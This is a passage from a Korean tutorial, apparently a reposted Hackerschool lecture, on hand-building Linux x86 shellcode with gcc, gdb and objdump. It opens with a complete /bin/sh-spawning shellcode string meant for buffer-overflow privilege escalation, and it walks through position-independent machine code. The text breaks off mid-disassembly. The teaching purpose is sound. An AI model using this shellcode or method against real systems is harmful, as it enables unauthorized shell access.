728x90
반응형
출처 : http://research.hackerschool.org/Datas/Research_Lecture/sc_making.txt
* 쉘코드 만들기 강좌 "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0 \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80 \x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" 프로그램의 취약점으로 인해 리턴 어드레스를 변경할 수 있을 때, 보통은 위과 같은 "쉘코드"를 실행하여 높은 권한을 획득한다. 이러한 쉘코드는 어떤 과정으로 만들어지는 것일까? 이제부터 그 방법에 대해 배워보겠다. 먼저 "쉘코드를 직접 만든다"라고 하면 으레 겁부터 먹게 될 수 있다. 쉘코드가 언뜻 보기에는 도무지 알 수 없는 기계어들로 구성되어 있기 때문이다. 그래서 기계어를 한번도 만들어 본 적이 없거나 어셈블리어를 잘 다룰 줄 모르는 사람에게는 쉘코드를 만드는 과정이 많이 어렵게 느껴질 수 있다. 이럴 때엔 처음부터 복잡한 쉘코드를 만드려고 하지 말고, 최대한 간단한 기계어를 만드는 연습에서부터 차츰 쉘코드를 향해 발전해 나가는 것이 좋다. 한번에 많은 계단을 뛰어 오르려고 하지 말고, 한단계 한단계씩 밟고 올라가다 보면 쉽고 재미있게 쉘코드 만드는 방법을 손에 익힐 수 있을 것이다. 그럼 우리가 만들 수 있는 기계어 코드들 중 가장 간단한 것은 무엇일까? 우선은 화면에 Hello, Students! 라고 출력하는 기계어 코드를 만들어 보겠다. 화면에 문자열을 출력하려면 printf() 함수 등을 사용하면 된다. 하지만, 이 printf() 함수는 사실 내부적으로 write()라는 함수를 사용한다. printf() 함수는 write() 함수를 조금 더 편리하게 쓰기 위해 만들어진 라이브러리 함수이기 때문이다. 그래서 printf() 함수는 write() 함수보다 훨씬 더 복잡하게 구성되어 있다. write() 함수가 확장된 것이 printf()이기 때문이다. 그래서 기계어 코드를 최대한 간단하게 하기 위해 우리는 printf() 대신 write() 함수를 사용하여 문자열을 출력해 볼 것이다. 일단, write() 함수를 이용하여 화면에 문자열을 출력하는 C 코드를 만들어 보자. ======================================== int main() { write(1, "Hello, Students!\n", 17); } ======================================== 첫 번째 인자는 출력 대상을 지정하는 것으로서, 1은 표준 출력. 즉, 우리가 보고 있는 터미널 화면이 된다. 두 번째 인자는 이 화면에 출력할 문자열 그 자체이고, 마지막 인자는 그 문자열의 길이를 지정해 준 것이다. 이제 위 코드를 컴파일 하자. 그리고 실행을 하면 위 문자열이 화면에 출력될 것이다. 이제 우리가 원하는 것은 위 코드를 기계어로 만들어 보는 것이다. 기계어는 0과 1만 해석할 줄 아는 컴퓨터가 사용하는 언어라고 모두 한 번 쯤은 들어 봤을 것이다. 하지만 인간은 단지 0과 1만으로는 아무 것도 할 수 없다. 그래서 개발된 것이 바로 어셈블리어이다. 어셈블리어는 C언어나 PHP, JAVA와 같은 컴퓨터 언어의 한 종류이다. 그리고 인간이 사용하는 컴퓨터 언어들 중 기계어에 가장 근접한 언어이기도 하다. 우리는 C언어를 바로 기계어로 바꾸는 무리한 짓을 하지 않고, C언어를 일단 어셈블리어로 표현하고, 그 다음 그것을 기계어로 바꾸는 단계를 거칠 것이다. 그럼 C언어를 어떻게 어셈블리어로 바꿀까? gcc와 gdb 프로그램을 이용하면 된다. 먼저, 다음과 같은 명령으로 위 프로그램을 다시 컴파일하자. ======================================================= [root@hackerschool assem]# gcc -o write write.c -static [root@hackerschool assem]# ======================================================= 위처럼 -static 옵션을 줘서 정적 컴파일해야 write() 함수의 내부까지 어셈블리 어로 볼 수 있다는 점에 주의해야 한다. 만약 이 옵션을 주지 않는다면 우리는 그저 write()를 호출하는 코드만 볼 수 있다. 이제 gdb를 이용하여 컴파일 후 기계어로 변환된 바이너리를 분석해보자. gdb 툴은 디버깅(프로그램의 문제점을 분석하는 작업)은 물론 기계어 코드를 어셈블리어로 보여주는 기능도 가지고 있다. =========================================================================== [root@hackerschool assem]# gdb write GNU gdb Red Hat Linux (5.1.90CVS-5) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) =========================================================================== 위와 같은 명령으로 write 프로그램을 gdb로 불러들인다. 이제 가장 먼저 main() 함수를 어셈블리어로 출력해 보자. 이처럼 기계어를 어셈블리어로 변환하는 작업을 디스어셈블링(disassembling)이라고 부른다. ================================================ (gdb) disassem main Dump of assembler code for function main: 0x80481e0 <main>: push %ebp 0x80481e1 <main+1>: mov %esp,%ebp 0x80481e3 <main+3>: sub $0x8,%esp 0x80481e6 <main+6>: sub $0x4,%esp 0x80481e9 <main+9>: push $0x11 0x80481eb <main+11>: push $0x808ce68 0x80481f0 <main+16>: push $0x1 0x80481f2 <main+18>: call 0x804ccf0 <write> 0x80481f7 <main+23>: add $0x10,%esp 0x80481fa <main+26>: leave 0x80481fb <main+27>: ret End of assembler dump. (gdb) ================================================ 위는 우리가 코딩한 main() 함수가 어셈블리어로 표현된 모습이다. 컴파일된 write 프로그램은 컴퓨터가 이해할 수 있는 기계어 형태로 되어 있고, 그 기계어를 gdb가 해석하여 어셈블리어로 출력해 준 것이다. 어셈블리어에 익숙하지 않다면 다음 네 줄만이라도 이해하자. 0x80481e9 <main+9>: push $0x11 0x80481eb <main+11>: push $0x808ce68 0x80481f0 <main+16>: push $0x1 0x80481f2 <main+18>: call 0x804ccf0 <write> 0x11이 스택에 push 되고, 그 다음 0x808ce68이 push 되고, 마지막으로 0x1이 push 된 다음, 최종적으로 write 함수가 call 되고 있다. 앞서 나왔던 0x11, 0x808ce68, 0x1의 정체는 무엇일까? 일단 이것을 10진수로 바꿔보자. 그럼 0x11은 17이 되고, 0x808ce68은 주소 값으로 보이니 그냥 놔두며, 0x1은 그대로 1이 된다. 어라? 어디서 많이 본 값들이다. write(1, "Hello, Students!\n", 17); 바로 write 함수의 인자들인 것이다. 그럼, 0x808ce68은 "Hello..." 문자열이 저장된 곳의 처음 주소가 아닐까? 다음 gdb 명령으로 확인해 보자. ====================================================== (gdb) x/s 0x808ce68 0x808ce68 <_IO_stdin_used+4>: "Hello, Students!\n" (gdb) ====================================================== 예상이 맞았다. write 함수의 3 인자가 차례대로 push 된 것이다. push 됨이라 하면, 스택에 그 값이 저장되는 것을 말한다. 다시 말해 push는 스택에 값을 집어 넣는 어셈블리어 명령이다. 그런데 이 때, "1, 문자열, 길이" 순서가 아닌 "길이, 문자열, 1" 순서. 즉, 반대로 값들을 넣은 것에 주목하라. 이처럼 함수(여기에선 write)의 인자는 스택에 반대 순서로 저장되게 되어 있다. 여기에선 그다지 중요한 내용이 아니자만, 버퍼 오버플로우 공격에 있어서 함수의 인자가 저장되는 순서는 매우 중요하니 꼭 기억해 둘 필요가 있다. 자, 그럼 이제 이렇게 write() 함수의 인자를 차례대로 스택에 push 한 다음 마지막으로 위처럼 write() 함수만 call 하면 되는 것일까? 다시 말해서 지금 설명한 이 과정만 기계어로 만들면 되는 것일까? 아쉽지만, 이렇게 간단하면 얼마나 좋았을까. 우리는 write() 함수가 하는 내용까지 모두 기계어로 만들어 주어야만 한다. 그럼 이번엔 write() 함수가 도대체 무슨 일을 하는지 gdb를 이용하여 그 내막을 조목 조목 뜯어보도록 하자. ============================================================ (gdb) disass write Dump of assembler code for function write: 0x804ccf0 <write>: push %ebx 0x804ccf1 <write+1>: mov 0x10(%esp,1),%edx 0x804ccf5 <write+5>: mov 0xc(%esp,1),%ecx 0x804ccf9 <write+9>: mov 0x8(%esp,1),%ebx 0x804ccfd <write+13>: mov $0x4,%eax 0x804cd02 <write+18>: int $0x80 0x804cd04 <write+20>: pop %ebx 0x804cd05 <write+21>: cmp $0xfffff001,%eax 0x804cd0a <write+26>: jae 0x804d510 <__syscall_error> 0x804cd10 <write+32>: ret 0x804cd11 <write+33>: jmp 0x804cd20 <fcntl> 0x804cd13 <write+35>: nop ...생략... 0x804cd1f <write+47>: nop End of assembler dump. (gdb) ============================================================ 위에서 핵심이 되는 부분은 다음과 같다. 0x804ccf1 <write+1>: mov 0x10(%esp,1),%edx 0x804ccf5 <write+5>: mov 0xc(%esp,1),%ecx 0x804ccf9 <write+9>: mov 0x8(%esp,1),%ebx 0x804ccfd <write+13>: mov $0x4,%eax 0x804cd02 <write+18>: int $0x80 위 코드 중 가장 마지막 부분에 있는 int 옵코드(어셈블리어 명령)은 interrupt의 약자로서, 시스템에 특정 신호를 보내는 역할을 한다. 이 중 0x80 인터럽트는 커널의 시스템 콜, 즉 커널에서 사용자들에게 제공해 주는 함수를 호출하라는 의미를 가지고 있다. 그럼 과연 무슨 함수를 호출하라고 명령하고 있는 것일가? int 바로 윗 라인을 보면 0x4라는 숫자가 나온다. 이것이 바로 "어떤 함수"인지를 알려주고 있으며, 4라는 숫자의 의미는 시스템 콜 테이블에 4번째로 등록된 함수를 말하고 있는 것이다. 몇 번째 테이블에 어떤 함수가 등록되어있는지 보기 위해 /usr/include/asm/ unistd.h 혹은 /usr/src/linux/include/asm-i386/unistd.h 파일을 열어보자. ============ unistd.h ============= #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 ... 생략 ... =================================== 위 처럼 각 숫자에 대응되는 함수를 확인할 수 있으며, 위에서 보다시피 4는 write() 함수를 의미한다는 것을 알 수 있다. mov라는 어셈블리어 명령은 mov A, B 라고 명령했을 때, A를 B로 복사하는 역할을 한다. 즉, mov $0x4, %eax 는 eax라는 레지스터(CPU 내의 저장 공간)로 4라는 값을 저장하는 명령이다. 실제로 int 0x80 명령을 실행하면, CPU의 레지스터들 중 eax, ebx, ecx, edx 등의 값들을 불러와서 사용하는데, 이 때 가장 첫번째 레지스터인 eax에서 어떤 함수를 호출할지를 알게 되고, 그 다음 ebx, ecx, edx 레지스터들의 값은 차례대로 이 함수의 인자로 적용이 된다. 즉, 이 사실만 알고 있다면, 굳이 어셈블리어를 모르더라도 ebx에는 1, ecx에는 "Hello..."의 주소, 그리고 edx에는 이 문자열의 길이인 17이 들어가게 된다는 사실을 쉽게 유추해 낼 수 있다. 위 어셈블리어 코드를 정확하게 이애하려면, Stack Pointer(esp)와 Base Pointer(ebp)에 대해 이해하기만 하면 되는데, 이 것은 "프레임 포인터 오버플로우" 공격 강좌에서 집중적으로 설명하기로 하겠다. 자, 이제 지금까지의 과정을 정리해 보자. * Hello, Students! 가 출력되는 과정을 어셈블리어로 표현. (1) write() 함수의 마지막 인자인 17이 STACK에 저장됨. (2) 두 번째 인자인 "Hello..." 문자열의 시작 주소가 STACK에 저장됨. (3) 첫 번째 인자인 1이 STACK에 저장됨. (4) write() 함수가 호출됨. (5) 마지막 인자인 17이 edx에 저장됨. (6) 두 번째 인자인 "Hello..." 문자열의 주소가 ecx에 저장됨. (7) 첫 번째 인자인 1이 ebx에 저장됨. (8) write() 시스템 콜을 의미하는 4가 eax에 저장됨. (9) 시스템 콜을 호출하는 int 0x80 인터럽트가 발생함. (10) eax, ebx, ecx, edx 값을 참고하여 해당 시스템 콜인 write()를 실행. 여기까지 이해하였다면, 이제 위 과정 중 진국만 빼내어 최대한 간단하게 어셈블리어로 작성해 보자. ================================= .LCO: .string "Hello, Students!\n" .globl main main: movl $0x04, %eax movl $0x01, %ebx movl $.LCO, %ecx movl $0x11, %edx int $0x80 ret ================================= 어떤가? write() 함수가 내부적으로 또 다시 write() 시스템 콜을 호출하는 과정을 그대로 흉내낸 것이다. 여기서 함수와 시스템 콜은 서로 다른 개념이다. 함수는 우리가 평소 사용하는 그 함수로 이해하면 되지만, 시스템 콜이란 커널 수준에 존재하며, 커널의 기능을 사용자가 사용할 수 있도록 해주는 함수를 말한다. 이제 위 어셈블리어를 컴파일해서 실행해 보자. 위 코드는 어셈블리어이기 때문에 *.c가 아닌, *.s 파일로 만들어야 한다는 점에 주의한다. [root@hackerschool assem]# gcc -o write write.s [root@hackerschool assem]# ./write Hello, Students! Segmentation fault [root@hackerschool assem]# 이처럼 알짜배기만 모아서 원하는 문자열을 출력하는 것에 성공하였다. 그런데, 끝이 조금 깔끔하지 않게 Segmentation fault 에러가 나타나 버렸다. 왜 이런 에러가 난 것일까? 위에서 보면, 마지막의 ret 명령에 의해 스택에서 return address로 사용 될 주소 값이 꺼내지는데, 이 때 스택에는 return address가 미리 저장되어있지 않은 상태임으로 스택의 아무 값이나 꺼내져 그곳으로 jump를 하려하기 때문에 나타나는 현상이다. 따라서, 우리는 위 main() 함수가 아닌, exit() 함수로 프로그램이 종료되게끔 수정해서 Segmentaion fault 에러를 예방할 수 있다. 그럼, 이제 exit(0) 역할을 하는 어셈블리어를 간단하게 만들어 보자. 먼저 exit() 시스템 콜이 시스템 콜 테이블의 몇 번째에 등록되어 있는지를 확인 하자. [root@hackerschool assem]# cat /usr/include/asm/unistd.h | exit #define __NR_exit 1 ... 생략 ... [root@hackerschool assem]# 보다시피 1로 등록이 되어있다. 이제 어셈블리어로 만들어 보자. movl $0x01, %eax movl $0x00, %ebx int $0x80 매우 간단하다. 이제 원래의 어셈블리어 코드에 이 exit(0) 코드를 추가하자. exit(0)에 의해 프로그램이 종료됨으로 원래 있던 ret은 이제 제거해도 무관하다. ================================= .LCO: .string "Hello, Students!\n" .globl main main: movl $0x04, %eax movl $0x01, %ebx movl $.LCO, %ecx movl $0x11, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 ================================= 이제 다시 컴파일 하여 실행해 보자. [root@hackerschool assem]# gcc -o write write.s [root@hackerschool assem]# ./write Hello, Students! [root@hackerschool assem]# 이제 거의 완벽한 문자열 출력 프로그램이 되었다. 그럼 이제 위 어셈블리어 코드를 기계어로 만드는 일만 남아있다. 일단, 컴파일러를 이용해서 위 코드를 기계어로 변환하도록 만든다. 이미 앞서 입력한 gcc 명령이 바로 이 작업을 했다. 따라서 컴파일된 write 명령에서 기계어를 추출해 내야 하는데, 이번엔 /usr/bin/ objdump라는 툴을 사용하면 된다. ============================================================== [root@hackerschool assem]# objdump -d write ... 생략 ... 080483e2 <main>: 80483e2: b8 04 00 00 00 mov $0x4,%eax 80483e7: bb 01 00 00 00 mov $0x1,%ebx 80483ec: b9 d0 83 04 08 mov $0x80483d0,%ecx 80483f1: ba 11 00 00 00 mov $0x11,%edx 80483f6: cd 80 int $0x80 80483f8: b8 01 00 00 00 mov $0x1,%eax 80483fd: bb 00 00 00 00 mov $0x0,%ebx 8048402: cd 80 int $0x80 ... 생략 ... ============================================================== 우리가 만들었던 어셈블리어 코드가 그대로 출력됨과 동시에 바로 왼쪽 부분에 이 어셈블리어들이 기계어로 변환되어 출력되었다. 아니, 정확히 말하면 왼쪽에 있는 기계어가 변환되어 오른쪽에 어셈블리어로 출력된 것이다. 그리고, 원래 기계어는 2진수로 표현되지만, 2진수로 출력하면 길이도 길어지고, 우리가 알아보기도 힘들기 때문에 최대한 보기 쉽게 16진수 형태로 출력되었다. 이제 이 16진수를 쭈욱 하나로 이어 붙이면 비로소 기계어가 완성된다. 하지만, 위 코드를 자세히 보고 있자면, 이상한 부분이 하나 있다. 그것은 바로 두 번째 인자에 해당하는 "문자열의 시작 주소"가 정작 그 문자열은 어디에도 보이지 않고, 달랑 주소 값만 사용되고 있는 것이다. mov $0x80483d0,%ecx 이는, 컴파일될 때 문자열의 주소 값이 지정되고, 실제 명령 부분에서는 그 미리 정해진 주소. 다시 말해서 절대 주소를 가져와 사용하고 있는 것이다. 따라서 이 상태로 기계어 코드를 만들면, 실제 실행 할 때에도 위 0x80483d0 에서 문자열 값을 가져오려고 할 것이고, 당연히 그 환경에서는 "Hello..." 라는 문자열이 그 주소 부분에 존재할 가능성이 ZERO에 가깝기 때문에 이 주소 값을 사용하는 것은 전혀 무의미한 짓이다. 그럼 어떤 방법으로 "Hello..." 문자열이 위 기계어 코드에 포함되고, 또 그 문자열의 주소를 %ecx 레지스터에 저장하도록 만들 수 있을까? 그 방법을 설명하면 다음과 같다. 일단 문자열의 시작 주소가 스택에 저장되도록 하고, 그 다음 스택에서 그 주소 값을 꺼내 %ecx 레지스터에 저장하면 되는 것이다. 이 과정을 다음과 같이 어셈블리어로 표현해 보겠다. ================================= .globl main main: call func .string "Hello, Students!\n" func: movl $0x04, %eax movl $0x01, %ebx popl %ecx movl $0x11, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 ================================= call 명령에 의해 어떤 함수가 호출되면, 함수 종료 후 실행될 리턴 어드레스. 즉, call 명령 바로 다음 명령의 주소가 스택에 저장된다. 따라서 위의 경우엔 call func 바로 다음에 있는 "Hello..." 문자열의 시작 주소가 스택에 저장이 된다. 이제 func 함수 안에선 %eax에 write() 시스템 콜임을 의미하는 4가 저장 되고, %ebx에는 표준 출력을 의미하는 1, 그리고 바로 %ecx의 값을 지정해 주는 단계에서 popl 명령으로 스택에 저장된 값들 중 가장 꼭대기에 있는 값을 빼와 저장한다. 이 때 스택의 가장 꼭대기에는 앞서 저장된 리턴 어드레스. 즉, "Hello..." 문자열의 시작 주소가 저장되어 있음으로 결국 문자열의 시작 주소가 %ecx 레지스터에 저장된 것이다. 이제 위 어셈블리어 코드를 컴파일 한 다음, objdump로 그 내용을 확인해 보도록 하자. ============================================================== [root@hackerschool assem]# objdump -d write ... 생략 ... 080483d0 <main>: 80483d0: e8 12 00 00 00 call 80483e7 <func> 80483d5: 48 dec %eax 80483d6: 65 gs 80483d7: 6c insb (%dx),%es:(%edi) 80483d8: 6c insb (%dx),%es:(%edi) 80483d9: 6f outsl %ds:(%esi),(%dx) 80483da: 2c 20 sub $0x20,%al 80483dc: 53 push %ebx 80483dd: 74 75 je 8048454 <gcc2_compiled.+0x4> 80483df: 64 65 6e outsb %fs:%gs:(%esi),(%dx) 80483e2: 74 73 je 8048457 <gcc2_compiled.+0x7> 80483e4: 21 0a and %ecx,(%edx) ... 080483e7 <func>: 80483e7: 59 pop %ecx 80483e8: b8 04 00 00 00 mov $0x4,%eax 80483ed: bb 01 00 00 00 mov $0x1,%ebx 80483f2: ba 11 00 00 00 mov $0x11,%edx 80483f7: cd 80 int $0x80 80483f9: b8 01 00 00 00 mov $0x1,%eax 80483fe: bb 00 00 00 00 mov $0x0,%ebx 8048403: cd 80 int $0x80 8048405: 8d 76 00 lea 0x0(%esi),%esi ... 생략 ... ============================================================== 이제 또 어디 잘못된 점이 없는지 유심히 살펴보자. 어, 근데 "Hello..." 문자열이 또 보이지 않는다. 이 문자열은 어디에 있는 것일까? 위에서 세 번째 라인을 보면, 48 65 6c ... 로 시작되는 16진수로 표현된 기계어 코드가 있다. 그것이 바로 아스키 문자열로 표현하면 "Hello..."가 되는 것이다. 그리고 그 오른 쪽의 정체 불명의 어셈블리어 명령들은 "Hello.." 문자열을 억지로 어셈블리어 문법으로 변환하여 출력하려고 하다 보니 이처럼 프로그램과 전혀 관련 없는 어셈블리어 명령이 표현된 것이다. 자, 이제 위 기계어를 쭈욱 한 줄로 잇기만 하면 진정 우리가 원하는 것이 만들어 진다. 조금 힘들겠지만, 위 16 진수 기계어를 모두 손수 이어 나간다. e8 12 00 00 00 48 65 6c 6c 6f 2c 20 53 74 75 64 65 6e 74 73 21 0a (H e l l o , S t u d e n t s ! \n) 59 b8 04 00 00 00 bb 01 00 00 00 ba 11 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 cd 80 8d 76 00 이렇게 완성된 위 세 줄이 바로 write(1, "Hello, Students!\n", 17);을 의미하는 기계어 코드이다. 이제 C언어로 간단한 테스트 프로그램을 만들어서 위 기계어가 다른 프로그램 내에서도 정상적으로 작동할 수 있는지를 확인해 보자. 일단, C언어에서 위 기계어를 사용할 수 있도록 위 코드가 16진수로 구성된 것임을 알려주자. 다음과 같이 각 16진수 앞쪽에 \x를 추가하면 될 것이다. \xe8\x12\x00\x00\x00\x48 65 6c 6c 6f 2c 20 53 74 75 64 65 6e 74 73 21 0a 어, 근데 문자 부분은 굳이 16진수로 바꾸지 않아도 된다. 왜냐면 앞에 \x를 붙이지 않으면 컴파일러는 그것을 아스키 문자로 알아서 잘 해석하기 때문이다. 따라서 문자열 부분은 16진수가 아닌 우리가 보기 쉬운 아스키 문자로 바꿔놓자. \xe8\x12\x00\x00\x00Hello, Students!\n 훨씬 보기 좋아졌다. 참고로, objdump 명령으로 기계어를 보았을 때는 위 문자열 마지막 \n 뒤로 아무것도 없지만, 실제로 \n 뒤에는 문자열의 끝을 알리는 \00이 존재한다. objdump 명령으로 볼 때는 이 부분이 "..." 으로 생략되어 나타나니 주의해야 한다. 이제 \x00과 더불어 마지막 기계어들을 마저 잇도록 하자. \xe8\x12\x00\x00\x00Hello, Students!\n\x00 \x59\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xba\x11\x00\x00\x00\xcd\x80\xb8 \x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\x8d\x76\x00 드디어 완성되었다. 이제 다음과 같은 방법으로 프로그램 내에서 위 코드가 정상적으로 실행되는 지를 확인해 보자. =========================================================================== int main() { char *code = "\xe8\x12\x00\x00\x00Hello, Students!\n\x00" "\x59\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xba\x11\x00" "\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00" "\xcd\x80\x8d\x76\x00"; void (*pointer)(void); // 함수의 주소를 저장하는 함수 포인터를 선언했다. pointer = (void *)code; // 함수의 주소 대신 기계어 코드의 시작 주소를 // 대입해서 마치 함수인 듯 인식하도록 한다. pointer(); // 이제 이 함수 포인터를 호출하면, 기계어가 실행될 것이다. } =========================================================================== 이제 컴파일 하여 실행 결과를 보면.. =================================== [root@hackerschool assem]# ./write Hello, Students! [root@hackerschool assem]# =================================== 이처럼 지금까지 만든 기계어 코드가 완벽하게 작동한다. 그럼 이제 마지막으로 기계어 코드를 만드는데 유용한 팁 하나를 배우고 마치도록 하겠다. 만약, 위 Hello, Students! 문자열을 다른 것으로 마음대로 바꾸고 싶다면 어떻게 해야 할까? 그냥 위의 문자열만 다른 것으로 수정하면 될까? 일단, 문자열 바로 앞쪽의 기계어를 보자. \xe8 \x12 \x00 \x00 \x00 여기서 가장 앞의 \xe8은 call을 의미한다. 그리고 그 다음의 \x12는 10진수로 18이며, 이는 곧 18 바이트 뒤 떨어진 곳으로 call 한다는 의미이다. 따라서 정확히 18 바이트 떨어진 부분에 문자열 다음에 해당하는 "\x59\xb8..."이 있는 것을 볼 수 있다. 이는 즉, 문자열의 길이가 바뀌면 call 되는 위치 또한 바뀌어 버린다는 것을 의미한다. 가장 단순한 방법은 바뀐 문자열 길이에 해당하는 값을 \xe8 \x12 부분에 알맞게 적용시키는 것이다. 하지만, 다음과 같은 방법을 사용 하면 훨씬 깔끔하게 원하는 문자열로 바꿔 사용할 수 있게 된다. 여기에선 단순히 문자열을 바꾸는 것에 불과하지만, 이것을 쉘을 실행시키는 기계어 코드에 적용시키면, /bin/sh 외의 원하는 명령들을 마음대로 실행시킬 수 있게 될 것이다. 앞서 마지막으로 작성했던 어셈블리어 코드를 다음과 같이 수정한다. ==================================== .globl main main: jmp come_here func: movl $0x04, %eax movl $0x01, %ebx popl %ecx movl $0x11, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 come_here: call func .string "Hello, Students!\n" ==================================== 이처럼 조금 억지를 부려 문자열 부분이 코드의 가장 뒷 쪽으로 오게 만들었다. 이제 같은 방법을 사용하여 위 어셈블리어를 기계어로 변환하면 다음과 같이 된다. eb 1e b8 04 00 00 00 bb 01 00 00 00 59 ba 11 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 cd 80 e8 dd ff ff ff ~~~~~~~~~~~~~~ call 부분 48 65 6c 6c 6f 2c 20 53 74 75 64 65 6e 74 73 21 0a 00 H e l l o , S t u d e n t s ! \n \00 이처럼 이번에는 call 명령 뒤쪽으로 dd ff ff ff 즉, 0xffffffdd가 오퍼랜드 (어셈블리어에서의 인자 값)가 되었다. 이 0xffffffdd는 무엇을 의미할까? 이를 int 형 10진수로 변환해 보면, -35. 즉, 음수 값이 된다. 따라서 이번에는 반대로 call 명령 부분의 앞 쪽으로 -35 바이트 이동하여 eb 1e b8 ... 명령을 실행하는 것이다. 이렇게 하면, 그 뒷쪽의 "Hello.." 문자열이 어떻게 바뀌던지 call에 의해 이동하는 위치는 절대로 변하지 않는다. 따라서 이제는 위 문자열을 마음놓고 다른 것으로 바꿀 수 있게 되었다. (write() 함수의 마지막 인자인 문자열의 길이에 해당하는 기계어 또한 바꾸어 줘야하며, 쉘코드의 경우엔 "/bin/sh" 문자열 끝에 NULL을 추가하기 위해서 명령어의 길이를 바꾸어 줘야하는 번거로움이 남아있긴 하다.) 그럼 이번에는 앞서 배운 내용들을 활용하여 쉘을 실행하는 기계어 코드. 즉, 쉘코드를 한 번 만들어 보도록 하자. 지금까지 배운 바와 같이, 먼저 C언어로 쉘을 실행하는 함수를 만들고, 그 다음은 그것을 gdb로 분석하여 최대한 간단하게 어셈블리어로 표현한 다음 objdump를 이용해서 기계어를 출력한 다음, 마지막으로 그것들을 받아 적는 순서대로 쉘코드를 만들어 나가게겠다. - 기계어 코드 만들기 순서 1. C언어로 해당 코드를 구현한다. 2. gdb로 역어셈블링하여 필요한 부분을 찾는다. 3. 알짜배기만 뽑아 어셈블리어로 새로 구현한다. 4. 컴파일한 후, objdump로 기계어를 출력한다. 5. 출력된 기계어들을 하나로 연결 시킨다. 이제 위 순서에 따라 쉘을 실행하는 역할을 하는 C 코드를 생성해 보자. 여기서 우리는 과연 어떤 함수를 사용해야 가장 간단한 어셈블리어 코드가 나올지를 고민해 봐야 한다. system("/bin/sh");을 사용할까? 아니면, execl("/bin/sh", "sh", 0);을 사용할까? 여러 방법이 있을 수 있겠지만, 적어도 방금 언급한 두 함수를 사용하는 것은 절대 추천하지 않는다. 왜냐하면 printf() 함수가 결국 내부적으로 write() 함수를 사용했던 것 처럼, 위 두 함수 역시 내부적으로는 결국 execve() 함수를 사용하기 때문이다. 따라서, execve() 함수가 확장된 system()이나 execl() 함수를 기계어로 만드는 일은 괜히 무거운 짐들만 더 얹히는 결과 밖에 얻을 수 없다. 실제 위 함수들이 내부적으로 어떤 함수들을 사용하는지 쉽게 확인하려면, /usr/bin/strace 명령을 사용하면 된다. strace는 system call trace의 약자로, 해당 프로그램이 사용하는 시스템콜 목록을 화면에 실시간으로 출력해주는 기능을 가지고 있다. ========================== int main() { system("/bin/sh"); } ========================== 간단하게 이 코드를 test라는 이름으로 컴파일 한 후, strace test를 입력하면, "execve("/usr/bin/test", ["test"], [/* 22 vars */])" 부분이 지난가는 것을 확인할 수 있다. 사실 거의 모든 쉘 상의 프로그램들이 결국에는 커널에서 제공 하는 시스템 콜들을 사용한다. 예를들어 우리가 가장 많이 사용하는 ls 명령 또한 내부적으로는 open(), close(), read(), write() 등의 시스템 콜을 사용한 다는 사실을 strace 명령으로 확인해 볼 수 있다. 그럼 이제 답은 나왔다. 가장 간단한 기계어를 만들기 위해 필요한 C언어 코드는 바로 execve() 함수를 사용한 다음과 같은 모습이다. ================================= int main() { char *str[2]; str[0] = "/bin/sh"; str[1] = 0; execve(str[0], str, 0); } ================================= 이제 이 코드를 컴파일한 후, gdb로 내용을 분석해 보자. ============================================================================= [root@hackerschool assem]# gcc -o execve execve.c -static [root@hackerschool assem]# gdb execve GNU gdb Red Hat Linux (5.1.90CVS-5) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) ============================================================================= 다음은 main 함수의 내용을 disassemble한 내용이다. ========================================================= (gdb) disass main Dump of assembler code for function main: 0x80481e0 <main>: push %ebp 0x80481e1 <main+1>: mov %esp,%ebp 0x80481e3 <main+3>: sub $0x8,%esp 0x80481e6 <main+6>: movl $0x808cec8,0xfffffff8(%ebp) 0x80481ed <main+13>: movl $0x0,0xfffffffc(%ebp) 0x80481f4 <main+20>: sub $0x4,%esp 0x80481f7 <main+23>: push $0x0 0x80481f9 <main+25>: lea 0xfffffff8(%ebp),%eax 0x80481fc <main+28>: push %eax 0x80481fd <main+29>: pushl 0xfffffff8(%ebp) 0x8048200 <main+32>: call 0x804cb40 <execve> 0x8048205 <main+37>: add $0x10,%esp 0x8048208 <main+40>: leave 0x8048209 <main+41>: ret 0x804820a <main+42>: mov %esi,%esi End of assembler dump. (gdb) ========================================================= main() 함수가 호출되면, 기존의 base point 값을 스택에 임시 저장하고, 그 다음 새로운 base point 값을 설정한다. 이 부분에 대해서는 "프레임 포인터 오버프로우" 강좌에서 자세히 설명한다. 그 다음엔 변수를 위한 공간을 sub 명령을 이용하여 할당하는데, 위에서는 8바이트를 할당 받았다. 그 이유는 포인터 1개의 용량이 4 바이트인데, char *str[2] 와 같이 2개를 선언했기 때문이다. 이제, str[0]에 "/bin/sh" 문자열이 담긴 메모리 주소를 대입하고, str[1]에는 NULL을 의미하는 0을 대입했다. 여기까지의 과정을 주석을 달아 설명하면 다음과 같다. ========================================================= (gdb) disass main Dump of assembler code for function main: 0x80481e0 <main>: push %ebp // 기존의 base point 값 저장 0x80481e1 <main+1>: mov %esp,%ebp // 새로운 base point 값 설정 0x80481e3 <main+3>: sub $0x8,%esp // 스택의 8 바이트의 공간 할당 0x80481e6 <main+6>: movl $0x808cec8,0xfffffff8(%ebp) // 